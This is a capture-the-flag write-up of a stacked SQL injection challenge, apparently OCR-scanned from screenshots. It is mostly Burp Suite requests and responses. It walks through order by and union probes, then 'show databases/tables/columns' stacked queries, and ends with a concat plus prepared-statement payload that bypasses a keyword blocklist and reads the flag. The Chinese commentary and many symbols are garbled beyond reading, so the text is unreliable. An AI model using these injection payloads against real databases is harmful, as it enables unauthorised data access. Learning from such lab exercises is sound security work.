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array(2) |

[0l=>
string(1) “17
[1]=>

string(7) “hahahah”

IR [EIEH
ZRFILENA:
1. %A1 order by *, MIiXEEIREIJLFI, 2R, “4R2,80: 1" order by 288 [E] IEH .
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|| = |

3 (1" orderby 2 #

array(2) {
(o0l=:
stringl) "1
[1]1=>
string (T} "hahahah”
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BHixE M A\ select X B /5 1’ union select 1,2 #

B FRAELINGSE , Rii—Dil

|| = |

£ |1 union select 1.2 #|

return preg_match("/zelect |update|delete|drop|insert [where|t. /17, $inject) ;

FIGF 2 7R E. Ziksqimap R A8% H E 4 Asupersqli
ZRHEBEN

#\: 1; show databases; #
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J Raw I Headers T Hex T HTML I Render ]

GET /?inject=1", show databasesl# HTTR/ .1

Host: www. bmzelub.en:20320

Pragma: no-cache

Cache-Contral: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozillas.0 (Windows MT 6.1; Wing4; x64) AppleWehKit/537.36 (KHTML,
like Gecko) Chrome/86.0.4240.198 Safari/537.36

Accept:

text/html application/xhtml+xml application/xml;q=0.9 image/avif image/webp image/apng
i 0=0.8 application/signed-exchange;w=h3;q=0.9

Referer: http:/fwww. bmzelub.cn:20320/?inject=1%27 +order+hy+2+%23
Accept-Encoding: gzip, deflate

Accept-Language: zh-CM zh;q=0.9

Cookie: session=d59cer 17-9fde-4117-9078-351dd3722475

Connection: close
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<prez
array(2) {
[0]=>
string(1) ™1™
[1]==
string(f) "hahahah™
}
<hr=<hr=array(1) {
o>
string(11) “ctftraining™
}
<hr=array(1) {
o>
string(18) “information_schema”
}
<hr=array(1) {
[0]=>
string () “mysql”
}
<hr=array(1) {
o>
string(18) “performance_schema”
}
<hr=array(1) {
0=>
string(9) "supersqli”
}
<br=array(1) {
o>
string(4) "test”
}

<br=<hr=</pre=



HEBERLAWLE: 1:show tables; #

1 = | .
Send Cancel < (v >\

Request Response
J Raw T Params ]’ Headers T Hex ] J RawT Headers I Hex I HTML ]’ Render ]
GET /?inject=1", Shn\nrtahles'# HTTR/M .1 A <meta charset="UUTF-8">

-

Host: www.bmzelub. cn:20320 <title>easy_sql</title>
Pragma: no-cache </head>
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1 <hody=>
User-Agent: Mozillas.0 (Windows NT B.1; Wing4; x64) AppleWebKit/537 .36 (KHTML, <hl>HOE T RE ik FLECFRE IR, R—6)4% . PR ai—nr</hl>

like Gecko) Chrome/86.0.4240.198 Safari/537.36 <I-- sqimap i igH REH) >
Accept: <form method="get">
text/html application/xhtml+xml application/xml;q=0.9 image/avif image/webp image/apng Al <input type="text" name="inject" value="1">
=08 application/signed-exchange;v=h3;9=0.9 <input type="submit">
Referer: http:/fwww. brnzclub.en:20320/?inject="1%27 +order+by +2+%23 <fform=
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN zh;q=0.9 <pres
Cookie: session=dS9ce7 17-9fde-4117-29078-351dd3722478 array(2) {
Connection: close [0]=>
string(1) ™1™
(==
string(7) "hahahah™
}
<hr=<hr=array(1) {
[0]=>
string(3) "flagg™
}
<br=array(1) {
[0]=>
string(3) "words”
}
<brz=<hr=<fpra=
</body=>
</html=

FHARKR: 45 NflaggFiwords
S HEBEHAWLLS]: 1;show columns from flagg #



J RawT Params T Headers I Hex ] J Raw T Headers T Hex T HTML I Render ]

GET /?inject=1", show columns from ﬂaggl #HTTRM A : <I-- sqlmap it T R B >
Haost: www. bmzclub. cn:20320 <form method="get">
Pragma: no-cache A <input type="text" name="inject" valus="
Cache-Control: no-cache <input type="submit"=
Upgrade-Insecure-Requests: 1 <fform=
User-Agent: Mozillas.0 (Windows MT 6.1; Wing4; x64) AppleWehKit/537.36 (KHTML,
like Gecko) Chrome/86.0.4240.198 Safari/537.36 <pre=
Accept: array(2) {
text/html application/xhtml+xml application/xml;q=0.9 image/avif image/webp image/apng [0]==
i 0=0.8 application/signed-exchange;w=h3;q=0.9 string(1) ™1™
Referer: http:/fwww. bmzelub.cn:20320/?inject=1%27 +order+hy+2+%23 [1]==
Accept-Encoding: gzip, deflate string(f) "hahahah™
Accept-Language: zh-CM zh;q=0.9 1
Cookie: session=d59ce?17-Ifde-4117-9078-351dd3722478 <hr=<hr=array() {
Connection: close [0]==
string(4) “flag™
[1]==
string(12) "warchar(100)"
2=>
string(2) "NO™
Bl=>
string(0) ™
B=>
NULL
B>
string(0) ™

}

chrsehrselfnras

FE T RAEE agsl. THHMABWMERERKNAET .
Select #id €, TIXIEHEEW. REEHEERIER:

-1";,use supersqli;set @sqgl=concat('s','elect ‘flag’ from "flagg™');PREPARE BMZ FROM @sql;EXECUTE BMZ;#



J Raw I Params I Headers I Hex ]

J Raw I Headers I Hex I HTML T Render }

GET /?inject=1" show databasesl# HTTR{M 1

Host: www. bmzclub.cn:20320

Fragma: no-cache

Cache-Cantral: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WinG4; «64) Apple\WebKit/537.36 (KHTML,
like Gecko) Chrome/B6.0 4240198 Safari/537.36

Accept:

text/html application/xhtml+xml application/xml; g=0.9 image/avif imagefwebp imagefapng
Fg=0.8 application/signed-exchange;v=b3,0=0.9

Referer: http:/fwww. bmzelub. cn:20320/7inject=1%27 +arder+hy +2+%23
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: session=d59ce7 17-Ifde-4117-9078-351dd3722478

Connection: close

B zlflag.

e

<pres
array(2) {
[0]=>
string(1) ™"
}=>
string(7) "hahahah”
}
<br=<hr=array(1) {
[0]==
string(11) “ctftraining”
}
<br=array(1) {

[0]=>

string(18) “information_schema”

}
<br=array(1) {
o>
string(5) "mysql”
}
<br=array(1) {

o}->

string(18) "performance_schema’

}
<hbr=array(1) {

[o1->
string(9) "supersqli”
}
<br=array(1) {
[0]=>
string(4) "test”
}

<hre<hr=</pre=
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